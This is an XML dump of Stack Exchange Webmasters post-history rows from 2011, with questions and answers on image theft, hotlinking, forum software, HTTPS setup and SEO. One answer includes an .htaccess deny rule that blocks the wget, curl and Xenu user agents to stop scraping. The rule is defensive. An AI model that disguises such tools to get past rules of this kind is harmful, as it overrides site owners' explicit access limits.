  <row Id="34179" PostHistoryTypeId="2" PostId="14567" RevisionGUID="b17cbe0d-60c2-4c07-a439-0ecdd0f1c2d1" CreationDate="2011-05-29T22:42:21.240" UserId="1914" Text="In addition to what mickburkejnr suggested, I'd also say that if images are your main source of income for the site, investing in a good flash photo gallery is going to be a good way to help deter them. There are tools out there to decompile the flash files, but disabling javascript can be done within each browser easily as well. &#xD;&#xA;&#xD;&#xA;I'd also recommend that you disallow crawlers like xenu, wget and curl so that they aren't simply using wget to scrape the contents of your site.&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT} ^Xenu's [OR]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT} ^curl&#xD;&#xA;    RewriteRule ^(.*)$ http://www.robotstxt.org/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As a note, denying curl by itself is in itself, not much of a fix as curl can emulate pretty much any string they need to. To disable hotlinking of the images, put this in your .htaccess&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^$&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^http://(www.)?yourdomainname.com/.*$ [NC]&#xD;&#xA;    RewriteRule .*.(gif|jpg|png|ico)$ – [F,L]&#xD;&#xA;    &lt;/ifModule&gt;" />
  <row Id="34180" PostHistoryTypeId="2" PostId="14568" RevisionGUID="86f6a316-7415-47f5-87b9-e811ee76011f" CreationDate="2011-05-29T23:54:45.677" UserId="5806" Text="First, you did the **right thing putting the copyright and website on all the photos**. That is the best thing you could do as it at least will be known where the images come from and who the belong to.&#xD;&#xA;&#xD;&#xA;Sadly, there is **nothing that can be guaranteed 100% effective**. You can send a letter as you suggest but it is far more effective to simply **send them a bill which includes the license and your terms**.&#xD;&#xA;&#xD;&#xA;Each website may respond in one of the following way:&#xD;&#xA;&#xD;&#xA;1. Accept the license and pay you (usually after they consulting their lawyers)&#xD;&#xA;2. Remove the content (occasionally along an apology)&#xD;&#xA;3. Ignore you completely&#xD;&#xA;&#xD;&#xA;In the case of (3): You can send a registered letter with CC to a law-firm. This has some chance of working for companies based in your country but very little elsewhere.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34181" PostHistoryTypeId="25" PostId="14565" RevisionGUID="624a86c2-daad-49b2-ada9-a7bdd65b26bd" CreationDate="2011-05-30T00:13:16.633" Comment="http://twitter.com/#!/StackWebmasters/status/74991729882824704" />
  <row Id="34182" PostHistoryTypeId="2" PostId="14569" RevisionGUID="a90abc5f-a357-4e12-b583-ea81cbe17774" CreationDate="2011-05-30T01:08:21.030" UserId="1914" Text="I'm going to start with an assumption that this is for smartphones, which have the ability to be found via gps. That being said, the best way would be to have one site and use that phones geolocation to load up the appropriate data. (EG, You'd have all of your data in your document root and you'd look up the necessary db entries based on that.)&#xD;&#xA;&#xD;&#xA;However, let's now assume you can't do that. The best layout would be to use either subdomains or as you've suggested duplicating the website and having them under separate folders. Use a main stylesheet on the root domain to cut down on overall size. Or you can have 1 main site, where they initially select their city and it sets their session data to be for city xyz and you just query the db for the data for that particular city.&#xD;&#xA;&#xD;&#xA;You shouldn't be getting hits on duplicate data though. Some of your content will be the same, but for that content, why not (and I loathe to even suggest this) throw it into an iframe or set a cookie to determine which city they were looking at and then you'll have to redirect them back to where they were supposed to be in the first place." />
  <row Id="34183" PostHistoryTypeId="2" PostId="14570" RevisionGUID="0c8d50e1-96f9-4f09-9bcd-68374fe37e19" CreationDate="2011-05-30T01:40:01.187" UserId="6437" Text="I'm currently using vBulletin along with a bunch of plugins like vBSEO, shoutbox and others for a sports discussion site. I just don't have the time to keep up with the upgrading of the vBulletin software (and then all the plugins). And I'm not crazy about vBulletin in general. Last I checked there was no good single sign on mechanism to integrate it with other systems and the social aspects of the site, of which discussions are really all about, seem lacking.&#xD;&#xA;&#xD;&#xA;Are there good alternatives which are easier to manage (ideally hosted systems), easier to integrate and more social? I'm more than happy to pay, but this community is only about 4,000 strong... so anything above a couple hundred $$ per month will have to be pretty spectacular.&#xD;&#xA;" />
  <row Id="34184" PostHistoryTypeId="1" PostId="14570" RevisionGUID="0c8d50e1-96f9-4f09-9bcd-68374fe37e19" CreationDate="2011-05-30T01:40:01.187" UserId="6437" Text="Alternative to vBulletin" />
  <row Id="34185" PostHistoryTypeId="3" PostId="14570" RevisionGUID="0c8d50e1-96f9-4f09-9bcd-68374fe37e19" CreationDate="2011-05-30T01:40:01.187" UserId="6437" Text="&lt;forum&gt;&lt;community&gt;&lt;community-management&gt;&lt;social-networking&gt;&lt;vbulletin&gt;" />
  <row Id="34186" PostHistoryTypeId="2" PostId="14571" RevisionGUID="5c09e218-1e2c-4474-b7dd-98ddd5fe4e49" CreationDate="2011-05-30T02:05:11.883" UserId="7907" Text="Google and archive.org both cache/archive sites, however neither of them are fast enough and they don't cache everything.&#xD;&#xA;&#xD;&#xA;Is there some site where you can input a url and it will go grab it and store it?&#xD;&#xA;&#xD;&#xA;I find myself in need for proving what was on a site at a time. You can just save as the page, but that isn't very authoritative." />
  <row Id="34187" PostHistoryTypeId="1" PostId="14571" RevisionGUID="5c09e218-1e2c-4474-b7dd-98ddd5fe4e49" CreationDate="2011-05-30T02:05:11.883" UserId="7907" Text="Website caching site" />
  <row Id="34188" PostHistoryTypeId="3" PostId="14571" RevisionGUID="5c09e218-1e2c-4474-b7dd-98ddd5fe4e49" CreationDate="2011-05-30T02:05:11.883" UserId="7907" Text="&lt;cache&gt;" />
  <row Id="34189" PostHistoryTypeId="2" PostId="14572" RevisionGUID="ca3ef616-f9a8-43df-a639-0f6796ab583d" CreationDate="2011-05-30T03:03:10.663" UserId="7909" Text="I couldn't find a thread already clearly addressing this. I have a small personal website, basically a blogfolio. I'd like to allow anonymous commenting so ppl can provide feedback as I don't expect them to be bothered registering on my site. However, as the site admin I'd like to receive a notification whenever a comment is posted so I weed out abuse/ spam. I don't expect a large enough volume in the near future for this to be overwhelming. &#xD;&#xA;&#xD;&#xA;Is there a very simple way to do this? I'm aware of a few modules that offer similar functionality, just not sure which to use or if I even need a module to do this. Bonus if it's a method that can be extended to perform some automated spam filtering in the future if the workload becomes overwhelming.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="34190" PostHistoryTypeId="1" PostId="14572" RevisionGUID="ca3ef616-f9a8-43df-a639-0f6796ab583d" CreationDate="2011-05-30T03:03:10.663" UserId="7909" Text="Drupal: Notify admin when comments posted on blog" />
  <row Id="34191" PostHistoryTypeId="3" PostId="14572" RevisionGUID="ca3ef616-f9a8-43df-a639-0f6796ab583d" CreationDate="2011-05-30T03:03:10.663" UserId="7909" Text="&lt;drupal&gt;&lt;comments&gt;&lt;administration&gt;&lt;notification&gt;" />
  <row Id="34192" PostHistoryTypeId="25" PostId="14571" RevisionGUID="06b4fbaf-68b1-4406-b970-16f42b7208d1" CreationDate="2011-05-30T03:13:17.857" Comment="http://twitter.com/#!/StackWebmasters/status/75037033554378752" />
  <row Id="34193" PostHistoryTypeId="2" PostId="14573" RevisionGUID="eecb13db-19ec-477a-beed-0c83638328bf" CreationDate="2011-05-30T03:21:53.517" UserId="5806" Text="It depends how much *style* influences your design. There are many factors, customer requirements, third-party content which will constrain you flexibility in terms of size.&#xD;&#xA;&#xD;&#xA;If you can build a site that looks good and is highly usable to all your users that scales to any size, then awesome, do it!&#xD;&#xA;&#xD;&#xA;**The next option is to have a style with minimum width** dictated by certain elements such as vertical menu, navigational aid or the like and have the main *content* column resize to fill the remaining available space. Still, it is not always easy depending on certain contents (banner ads, widgets, video, etc).&#xD;&#xA;&#xD;&#xA;**What most sites end up with is a fixed-width common denominator layout.** Note I did NOT say *lowest common denominator*. If you look at stats, either your own or those from [w3schools][1], you will notice that 85.1% of people have displays over 1024 pixels wide and 98.9% of people have at least 1024 pixels width. Think about the ease of implementing a 1024 pixel-wide layout and the effort needed so that 1.1% more people do not need to scroll horizontally and you'll see why this is an extremely common choice for designed websites.&#xD;&#xA;&#xD;&#xA;Of course, consider your audience, it may not match visitors of w3schools. You may also purposefully alienate more visitors if they do not suite your needs. [Stuck In Customs][2] was designed extremely wide because the target is people with in interest in graphics and photo which mostly work with large displays. It also makes the experience much bolder for them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/browsers/browsers_display.asp&#xD;&#xA;  [2]: http://www.stuckincustoms.com/" />
  <row Id="34194" PostHistoryTypeId="2" PostId="14574" RevisionGUID="37bef887-702e-48f1-962a-dc2d11a30794" CreationDate="2011-05-30T03:47:46.837" UserId="4502" Text="You can do this with triggers and actions. Here's a &lt;a href=&quot;http://www.scribbledesigns.co.uk/2008/04/03/howto-configuring-triggers-and-actions-in-drupal-6/&quot;&gt;v6-based tutorial&lt;/a&gt; (You didn't say which you were using.) that should probably also work for 7 though things might've moved slightly, eg. triggers are now under Structure." />
  <row Id="34195" PostHistoryTypeId="2" PostId="14575" RevisionGUID="f99aca3f-cc9d-4e64-98a3-6404c743ab8c" CreationDate="2011-05-30T04:37:59.057" UserId="5406" Text="For websites in the U.S., use of &quot;takedown notices&quot; under the [DMCA (Digital Millennium Copyright Act)][1] seems to be a fairly effective way to get the material removed reasonably quickly (judging from net scuttlebutt).  This doesn't get you paid, of course, and is only one country.  Rather than relying only on people obeying copyright laws (or filing lawsuits thereunder), it pays to take available practical measures as well, as ArrantSquid suggests.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act" />
  <row Id="34196" PostHistoryTypeId="5" PostId="14525" RevisionGUID="22b8ae83-49d9-49c6-a06b-e76cbc523764" CreationDate="2011-05-30T04:55:27.067" UserId="1253" Comment="added 99 characters in body" Text="There are multiple ways to do this (combining them is obviously a sure way to accomplish this):&#xD;&#xA;&#xD;&#xA;1) Use robots.txt to block the files from search engines crawlers&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /pdfs/ # Block the /pdfs/directory.&#xD;&#xA;    Disallow: *.pdf  # Block pdf files. Non-standard but works for major search engines.&#xD;&#xA;&#xD;&#xA;2) Use rel=&quot;nofollow&quot; on links to those PDFs&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;something.pdf&quot; rel=&quot;nofollow&quot;&gt;Download PDF&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;3) Use the x-robots-tag: noindex HTTP header to prevent crawlers from indexing them. Place this code in your .htaccess file:&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;\.pdf$&quot;&gt;&#xD;&#xA;      header set x-robots-tag: noindex&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34197" PostHistoryTypeId="2" PostId="14576" RevisionGUID="9be9e58c-e6b1-4162-b6fb-b744d0069de0" CreationDate="2011-05-30T05:14:07.470" UserId="6068" Text="It is the searching algorithm which is responsible for the different result. Same search quesry at the same instance from the same place by the same computer might produce the different result. Seems like search engine like Google/Yahoo/Bing is tracking your behaviour of activity on internet. Internet is no more searching for data for what world is looking for.. Internet is much more personalised now.&#xD;&#xA;&#xD;&#xA;&quot;I am not guessing&quot;, I am sure about this statement because I have watched the presentation on this search behaviour on www.ted.com ( Go into the technical section and you will able to see that video [It's a presentation by the creator of facebook{I am not sure with his name, may be Mark Z...}] , I can not give the url for that video because I am at my workplace and here ted,facebook,etc sites are restricted).&#xD;&#xA;&#xD;&#xA;But I am sure you will be much more aware about the searching algo which is in use by search engine, google.&#xD;&#xA;" />
  <row Id="34198" PostHistoryTypeId="25" PostId="14572" RevisionGUID="87e126c7-f606-4782-83d0-16a94d961fe8" CreationDate="2011-05-30T06:13:19.187" Comment="http://twitter.com/#!/StackWebmasters/status/75082336928149504" />
  <row Id="34199" PostHistoryTypeId="2" PostId="14577" RevisionGUID="045f11cf-8e7a-438c-90ff-71ccea9fa978" CreationDate="2011-05-30T07:00:57.690" UserId="7912" Text="I think your only option would be to use a browser screenshot website that hosts a screenshot for an extended period of time.&#xD;&#xA;&#xD;&#xA;As far as I know, [BrowserShots.org][1] is the only site that stores the screenshots at a publicly accessible location and often captures from the top to the bottom of the website, not just what're would appear without scrolling. You may need to pay to have them stored there for an extended period of time.&#xD;&#xA;&#xD;&#xA;It won't be fast, but Yahoo and Blekko also cache websites.&#xD;&#xA;&#xD;&#xA;  [1]: http://browsershots.org" />
  <row Id="34200" PostHistoryTypeId="2" PostId="14578" RevisionGUID="0463a7c5-89d5-4a50-a68f-ab275ead002c" CreationDate="2011-05-30T07:32:59.413" UserId="7912" Text="I've used vBulleting since Fall of 2000 on a number of sites as large as a few hundred thousand members. I still used it today. I'm not bragging, just giving you some background.&#xD;&#xA;&#xD;&#xA;While my suggestion is not a hosted solution, I highly, highly recommend [XenForo][1]. It was created by most of the original developers of vBulletin. They left vBulletin due to disagreements after Internet Brands acquired them.&#xD;&#xA;&#xD;&#xA;I'm not using it yet, but am closely watching its core and module development. It's everything that was good about vBulletin without as much of the bad. I don't know if you are running vB4 or have tried to used their mobile suite, but they are releasing products with major bugs now and have had at least one major security gaffe. I won't touch vB4 with a ten foot pole.&#xD;&#xA;&#xD;&#xA;The UI is impressive. You'll notice it just by navigating around their community forum. The theme system makes it much easier to modify the look of the forum. It is much more social out of the box with news feeds, trophies, and a like system. It offers sign on with Facebook, possibly OpenID, Google, Twitter, Yahoo, etc. in the future or with a mod. I imagine the upgrade process has been improved as well.&#xD;&#xA;&#xD;&#xA;Someone has already solved the **very important** issue of switching over from a vBSEO site to XenForo and redirecting all the old URLs: http://xenforo.com/community/threads/redirects-for-vbseod-urls.5098/&#xD;&#xA;&#xD;&#xA;Let me know if you have any other questions!&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xenforo.com &quot;XenForo&quot;" />
  <row Id="34201" PostHistoryTypeId="5" PostId="14547" RevisionGUID="a1e40ddb-9013-4799-b3dd-048bc2250e24" CreationDate="2011-05-30T09:07:51.417" UserId="7822" Comment="added 1 characters in body" Text="If you are on FTP then your client should let you right click the folder to change the permissions and it should have a checkbox saying something like &quot;Click here for a files and folders within&quot;.&#xD;&#xA;&#xD;&#xA;If you are using SSH then you can use chmod -R 755." />
  <row Id="34202" PostHistoryTypeId="25" PostId="14570" RevisionGUID="a09ce76d-f85f-4e7e-a685-b6cac08cf6f2" CreationDate="2011-05-30T09:13:18.977" Comment="http://twitter.com/#!/StackWebmasters/status/75127635864326144" />
  <row Id="34203" PostHistoryTypeId="2" PostId="14579" RevisionGUID="9f7191fd-e0a7-4c93-a6c1-d1aaf4f969d8" CreationDate="2011-05-30T11:03:16.710" UserId="7198" Text="The [Pinboard](http://pinboard.in) bookmarking service offers an archive feature in their $25/ year paid account that caches every page you bookmark to keep a record of it should it disappear. More info about how it works in their [blog post here.](http://blog.pinboard.in/2010/11/bookmark_archives_that_don_t/) I've been using pinboard for about six months and have been very happy with the service." />
  <row Id="34204" PostHistoryTypeId="25" PostId="14543" RevisionGUID="42f020a3-9d69-4f75-bf4a-2c308e42b184" CreationDate="2011-05-30T12:13:19.310" Comment="http://twitter.com/#!/StackWebmasters/status/75172935052165120" />
  <row Id="34205" PostHistoryTypeId="2" PostId="14580" RevisionGUID="2a6d217e-8464-471e-b5dd-f9980004f1c3" CreationDate="2011-05-30T12:34:37.413" UserId="7916" Text="We are creating HTML5 web app for tablets (&quot;tablet optimized&quot; version of the web site).&#xD;&#xA;&#xD;&#xA;Mobile domain names have already standardized itself to m.yourdomain.com or yourdomain.mobi. But how about tablet devices?&#xD;&#xA;&#xD;&#xA;Tablet device in this context would be a touch screen device with min. 7&quot; physical display, supporting features like HTML5 application cache and geolocation. The main thing is that the user can save the web app to the device main screen menu and have offline functionality. &#xD;&#xA;&#xD;&#xA;(Naturally there will be automatic browser redirect per device class, but this does not remove the need of tablet specific domains which makes things easier)." />
  <row Id="34206" PostHistoryTypeId="1" PostId="14580" RevisionGUID="2a6d217e-8464-471e-b5dd-f9980004f1c3" CreationDate="2011-05-30T12:34:37.413" UserId="7916" Text="Recommended domain name for tablet version?" />
  <row Id="34207" PostHistoryTypeId="3" PostId="14580" RevisionGUID="2a6d217e-8464-471e-b5dd-f9980004f1c3" CreationDate="2011-05-30T12:34:37.413" UserId="7916" Text="&lt;subdomain&gt;&lt;html5&gt;&lt;mobile&gt;&lt;ipad&gt;" />
  <row Id="34208" PostHistoryTypeId="2" PostId="14581" RevisionGUID="b6ab84e7-42a4-458d-b155-88d0334d8df0" CreationDate="2011-05-30T12:36:09.217" UserId="7917" Text="I have recently launched a new website and now I'm having a problem with gmail blocking all email sent from my website. I'm not sending spam, just confirmation emails to the users who post on my website. The emails are specifically blocked because they have html and links (I know because I tried to send plain text emails and they were delivered successfully). Unfortunately, using plain text is not an option for the confirmation emails.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to avoid gmail spam filters that blindly block my emails?&#xD;&#xA;&#xD;&#xA;Many Thanks" />
  <row Id="34209" PostHistoryTypeId="1" PostId="14581" RevisionGUID="b6ab84e7-42a4-458d-b155-88d0334d8df0" CreationDate="2011-05-30T12:36:09.217" UserId="7917" Text="Problem with gmail spam filters" />
  <row Id="34210" PostHistoryTypeId="3" PostId="14581" RevisionGUID="b6ab84e7-42a4-458d-b155-88d0334d8df0" CreationDate="2011-05-30T12:36:09.217" UserId="7917" Text="&lt;gmail&gt;" />
  <row Id="34211" PostHistoryTypeId="2" PostId="14582" RevisionGUID="cbb220bf-e3a6-40ae-94d8-02515fd95a20" CreationDate="2011-05-30T13:18:30.507" UserId="7918" Text="Ya, you are correct. Google is now giving more importance, if the keyword is present in the URL itself. But however, presently google is working on with the issues like this. The search results will be going to displayed based on quality and relevancy. Keyword stuffed URL will lost its prominence soon. wait and see.&#xD;&#xA;&#xD;&#xA;Bharathi priya&#xD;&#xA;&#xD;&#xA;SEO Blogs - http://bharathipriyasky.blogspot.com/search/label/search%20engine%20optimization " />
  <row Id="34212" PostHistoryTypeId="5" PostId="14572" RevisionGUID="9a86cfcd-5e04-4aa4-9d14-3aef03768717" CreationDate="2011-05-30T13:39:06.210" UserId="7909" Comment="added 25 characters in body" Text="I couldn't find a thread already clearly addressing this. I have a small personal website, basically a blogfolio. I'd like to allow anonymous commenting so ppl can provide feedback as I don't expect them to be bothered registering on my site. However, as the site admin I'd like to receive a notification whenever a comment is posted so I weed out abuse/ spam. I don't expect a large enough volume in the near future for this to be overwhelming. &#xD;&#xA;&#xD;&#xA;Is there a very simple way to do this? I'm aware of a few modules that offer similar functionality, just not sure which to use or if I even need a module to do this. Bonus if it's a method that can be extended to perform some automated spam filtering in the future if the workload becomes overwhelming.&#xD;&#xA;&#xD;&#xA;I am using Drupal 6. &#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="34213" PostHistoryTypeId="2" PostId="14583" RevisionGUID="7bd9b7bd-285b-486e-bbc1-49d0acfa9950" CreationDate="2011-05-30T13:50:19.577" UserId="6355" Text="I have a very low budget for this, I need to set up an https server to host Facebook apps. Although I manage sites in shared hosting for many years, I don't know anything about https. &#xD;&#xA;&#xD;&#xA;Please recommend a cheap certificate service + hosting service and how-to guide." />
  <row Id="34214" PostHistoryTypeId="1" PostId="14583" RevisionGUID="7bd9b7bd-285b-486e-bbc1-49d0acfa9950" CreationDate="2011-05-30T13:50:19.577" UserId="6355" Text="Setting up Facebook App in https - Howto?" />
  <row Id="34215" PostHistoryTypeId="3" PostId="14583" RevisionGUID="7bd9b7bd-285b-486e-bbc1-49d0acfa9950" CreationDate="2011-05-30T13:50:19.577" UserId="6355" Text="&lt;ssl&gt;&lt;facebook-application&gt;" />
  <row Id="34216" PostHistoryTypeId="2" PostId="14584" RevisionGUID="0ede0772-0294-4a6f-8128-0e50d6593ca7" CreationDate="2011-05-30T13:58:22.677" UserId="4306" Text="My recommendations:&#xD;&#xA;&#xD;&#xA;* delete content on current homepage brand.com and replace with a 301 redirect to the most important site, brand.com/de/, or a script that detects the browser language in use.&#xD;&#xA;* remove geotargeting in Google Webmaster Tools, as really your site is multi-lingual rather than geotargetted. &#xD;&#xA; * &#xD;&#xA;&gt; Please keep in mind that it generally does not make sense to set a geographic target if the same pages on your site target more than a single country (say, all German-speaking countries) — just write in that language and do not use the geotargeting setting (more on writing in other languages will follow soon!).&#xD;&#xA; * http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html&#xD;&#xA;* invest in copywriting for the EN site. I don't speak German or Italian, but Google Translate shows the copy to be very different and more search-friendly on those sites than the English version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="34217" PostHistoryTypeId="5" PostId="14584" RevisionGUID="539b6fe4-a967-4796-b580-b7283419136a" CreationDate="2011-05-30T14:04:33.453" UserId="4306" Comment="added additional point" Text="My recommendations:&#xD;&#xA;&#xD;&#xA;* delete content on current homepage brand.com and replace with a 301 redirect to the most important site, brand.com/de/, or a script that detects the browser language in use.&#xD;&#xA;* remove geotargeting in Google Webmaster Tools, as really your site is multi-lingual rather than geotargetted. &#xD;&#xA; * &#xD;&#xA;&gt; Please keep in mind that it generally does not make sense to set a geographic target if the same pages on your site target more than a single country (say, all German-speaking countries) — just write in that language and do not use the geotargeting setting (more on writing in other languages will follow soon!).&#xD;&#xA; * http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html&#xD;&#xA;* remove canonical reference from brand.com/de/ to brand.com/&#xD;&#xA;* invest in copywriting for the EN site. I don't speak German or Italian, but Google Translate shows the copy to be very different and more search-friendly on those sites than the English version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="34218" PostHistoryTypeId="10" PostId="14583" RevisionGUID="43cdc442-8828-4106-9c8f-856e1ab68554" CreationDate="2011-05-30T14:28:51.133" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34219" PostHistoryTypeId="5" PostId="14582" RevisionGUID="bbb89273-32de-4203-95a4-71776c412595" CreationDate="2011-05-30T14:31:50.290" UserId="1253" Comment="removed sig and link" Text="Ya, you are correct. Google is now giving more importance, if the keyword is present in the URL itself. But however, presently google is working on with the issues like this. The search results will be going to displayed based on quality and relevancy. Keyword stuffed URL will lost its prominence soon. wait and see.&#xD;&#xA;" />
  <row Id="34220" PostHistoryTypeId="2" PostId="14585" RevisionGUID="4d17257b-bb82-4912-a036-e784f902bba7" CreationDate="2011-05-30T14:36:22.300" UserId="1253" Text="Who says your site is 10x better? You? I know Google doesn't and that's because the rest of the Internet doesn't either.&#xD;&#xA;&#xD;&#xA;Google ranks pages based on quality and relevance. Relevance is determined by content, semantic markup, and anchor text (ok, that's a really simplistic view but it does cover it when you think about it). The reason why links are important to Google is they are seen as votes. The other sites is either doing a better job of on site SEO and/or getting more and better links then you. If they are getting more and better links then you then their content is probably better then yours.&#xD;&#xA;&#xD;&#xA;Want to outrank that other site? make sure your site is optimized and then produce great content. Without the great content you'll never get the links you need to outrank the competition." />
  <row Id="34221" PostHistoryTypeId="6" PostId="14541" RevisionGUID="c44170e1-8895-4753-aba9-c443dcad9595" CreationDate="2011-05-30T14:36:40.380" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="34222" PostHistoryTypeId="5" PostId="14585" RevisionGUID="6395414c-9452-41e3-a6f2-e3147e5dfa5f" CreationDate="2011-05-30T14:46:06.257" UserId="1253" Comment="added 147 characters in body" Text="Who says your site is 10x better? You? I know Google doesn't and that's because the rest of the Internet doesn't either. Also, Google ranks pages, not websites. So if one page ranks well it doesn't mean another page ranks well. They are all judged on their own merit.&#xD;&#xA;&#xD;&#xA;Google ranks pages based on quality and relevance. Relevance is determined by content, semantic markup, and anchor text (ok, that's a really simplistic view but it does cover it when you think about it). The reason why links are important to Google is they are seen as votes. The other sites is either doing a better job of on site SEO and/or getting more and better links then you. If they are getting more and better links then you then their content is probably better then yours.&#xD;&#xA;&#xD;&#xA;Want to outrank that other site? make sure your site is optimized and then produce great content. Without the great content you'll never get the links you need to outrank the competition." />
  <row Id="34223" PostHistoryTypeId="5" PostId="14581" RevisionGUID="51ab7dc8-40be-4d1f-a017-3c638f721bf4" CreationDate="2011-05-30T14:47:06.740" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How could I prevent my mail from being recognized as spam?](http://webmasters.stackexchange.com/questions/3728/how-could-i-prevent-my-mail-from-being-recognized-as-spam)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have recently launched a new website and now I'm having a problem with gmail blocking all email sent from my website. I'm not sending spam, just confirmation emails to the users who post on my website. The emails are specifically blocked because they have html and links (I know because I tried to send plain text emails and they were delivered successfully). Unfortunately, using plain text is not an option for the confirmation emails.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to avoid gmail spam filters that blindly block my emails?&#xD;&#xA;&#xD;&#xA;Many Thanks" />
  <row Id="34224" PostHistoryTypeId="10" PostId="14581" RevisionGUID="95dd194a-4a39-404e-920b-729951ee9ed5" CreationDate="2011-05-30T14:47:06.257" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34225" PostHistoryTypeId="4" PostId="14541" RevisionGUID="591db968-6702-4976-96c7-5cad37bc7fcf" CreationDate="2011-05-30T14:54:46.127" UserId="1253" Comment="edited title" Text="Does the main url of the website matters most in google search engine?" />
  <row Id="34226" PostHistoryTypeId="5" PostId="14585" RevisionGUID="c83a2a29-93c3-428c-839c-df7b0085b894" CreationDate="2011-05-30T14:59:04.673" UserId="1253" Comment="added 172 characters in body" Text="Who says your site is 10x better? You? I know Google doesn't and that's because the rest of the Internet doesn't either. Also, Google ranks pages, not websites. So if one page ranks well it doesn't mean another page ranks well. They are all judged on their own merit.&#xD;&#xA;&#xD;&#xA;Google ranks pages based on quality and relevance. Relevance is determined by content, semantic markup, and anchor text (ok, that's a really simplistic view but it does cover most of it when you think about it). The reason why links are important to Google is they are seen as votes. The other sites is either doing a better job of on site SEO and/or getting more and better links then you. If they are getting more and better links then you then their content is probably better then yours.&#xD;&#xA;&#xD;&#xA;Want to outrank that other site? make sure your site is optimized and then produce great content. Without the great content you'll never get the links you need to outrank the competition.&#xD;&#xA;&#xD;&#xA;As to your specific question, domain name and URL are ranking factors. But they are not heavily weighted and most likely is not the reason why they outrank you." />
  <row Id="34227" PostHistoryTypeId="17" PostId="14586" RevisionGUID="48defdba-fa4a-4758-886a-a90cb2bd6a12" CreationDate="2011-05-30T15:09:18.660" UserId="-1" Comment="from http://stackoverflow.com/questions/6174493/https-on-my-asp-net-2-0-application" Text="" />
  <row Id="34228" PostHistoryTypeId="17" PostId="14587" RevisionGUID="ce3b30fd-fde9-4e0a-abbe-263b0857b1a8" CreationDate="2011-05-30T15:09:18.660" UserId="-1" Comment="from http://stackoverflow.com/questions/6174493/https-on-my-asp-net-2-0-application" Text="" />
  <row Id="34229" PostHistoryTypeId="2" PostId="14587" RevisionGUID="02152084-b9f2-46e2-989b-3b56b35af51a" CreationDate="2011-05-30T09:39:51.000" UserDisplayName="sajoshi" Text="Http over SSL - To accomplish this you will need a Signed Certificate. For a development purpose you can use Self Signed Certificate. &#xD;&#xA;&#xD;&#xA;Here is an article on how to achieve this:&#xD;&#xA;&#xD;&#xA;http://www.iis-aid.com/articles/how_to_guides/creating_self_signed_certificates_iis&#xD;&#xA;&#xD;&#xA;Once you have the certificate ready, you will have to map it to the website and you should be good to go.&#xD;&#xA;&#xD;&#xA;On a Production System, if you are using a Shared Hosting, generally the Shared Hosting providers give you a folder location or ability to map folders for Https from Control Panel. For a VPN/Dedicated Server, you will get/purchase the certificate from a Signing Authority and do the same step of mapping it to the IIS server.&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;" />
  <row Id="34230" PostHistoryTypeId="2" PostId="14586" RevisionGUID="684a4c9a-e5d0-4cdf-9c25-b866eb1029dc" CreationDate="2011-05-30T09:29:58.230" UserDisplayName="seth" Text="I have an application developed using asp.net 2.0 and the goal is to make the webpage secure by using the https protocol. &#xD;&#xA;&#xD;&#xA;I have searched all over the internet for some insight on how to accomplish this, and I have read about certificates, and so on, but couldn't quite figure this out yet. &#xD;&#xA;&#xD;&#xA;So my question is, how can I accomplish this?&#xD;&#xA;&#xD;&#xA;Explain this to me as if I didn't know anything about https.&#xD;&#xA;&#xD;&#xA;I am using IIS 6.0 and ASP.NET 2.0.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34231" PostHistoryTypeId="1" PostId="14586" RevisionGUID="684a4c9a-e5d0-4cdf-9c25-b866eb1029dc" CreationDate="2011-05-30T09:29:58.230" UserDisplayName="seth" Text="HTTPS on my ASP.NET 2.0 application" />
  <row Id="34232" PostHistoryTypeId="3" PostId="14586" RevisionGUID="684a4c9a-e5d0-4cdf-9c25-b866eb1029dc" CreationDate="2011-05-30T09:29:58.230" UserDisplayName="seth" Text="&lt;asp.net&gt;&lt;ssl&gt;" />
  <row Id="34233" PostHistoryTypeId="25" PostId="14580" RevisionGUID="1e54c5ab-2cc1-424a-a19e-b908aed3cdfa" CreationDate="2011-05-30T15:13:19.953" Comment="http://twitter.com/#!/StackWebmasters/status/75218235380871168" />
